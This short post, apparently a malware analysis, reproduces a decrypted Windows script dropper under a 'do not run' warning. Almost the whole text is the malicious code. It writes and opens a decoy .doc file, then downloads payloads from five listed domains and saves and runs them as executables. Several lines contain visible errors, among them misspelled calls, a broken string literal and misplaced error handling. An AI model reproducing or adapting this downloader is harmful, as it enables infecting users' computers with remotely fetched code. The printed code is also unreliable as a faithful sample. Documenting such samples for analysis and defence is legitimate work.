某个未知病毒的脚本解密

unknown_virus.vbs

' DO NOT RUN THIS SCRIPT ON YOUR COMPUTER!!!
' reference: https://gist.github.com/chenshaoju/6b926d2ae12a5150ed31b1c72d5b3463

var ld = 0;
' var cs = String.from.CharCode(92);
var cs = "\";
var ll = ["wholesalehotelsuites.com", "lovingfloridalife.com", "jeannetaylordds.com", "pacificwinemg.com", "iveybusiness.vmnow.co"];
var ws = WScript.CreateObject("WScript.Shell");
var fn = ws.ExpandEnvironmentStrings("%TEMP%")+cs+"a";
var xo = WScript.CreateObject("Msxml2.XMLHTTP");
var xa = WScript.CreateObject("ADODB.Stream");
var fo = WScript.CreateObject("Scripting.FileSystemObject");
if (!fo.FileExists(fn+".doc")) {
  var fp = fo.CreateTextFile(fn+".doc", true);
  for(var i = 0; i < 15229; i++) {
    fp.Write(String.formCharCode(Math.floor(Math.random()*64+20)));
  };
  fp.Close();
  try{
    ws.Run(fn+".doc",1,0);
  }catch(er){};
  for(var n = 1; n <= 2; n++){
    for(var i = ld; i < ll.length; i++) {
      var dn = 0;
      try{
        xo.open("GET","http://"+ll[i]+"/counter/?"+n, false);
        xo.send();
        if(xo.status == 200) {
          xa.open();
          xa.type - 1;
          xa.write(xo.responseBody);
          if(xa.size > 10000) {
            dn = 1;
            xa.saveToFile(fn+n+"exe",2);
            try {
              ws.Run(fn+n+".exe",1,0);
            }catch(er){};
          };
          xa.close();
        };
        if(dn == 1) {
          ld = i;
          break;
        }
      };
    }catch(er){};
  };
} else {
  try{
    ws.Run(fn+".doc",1,0);
  }catch(er){};
};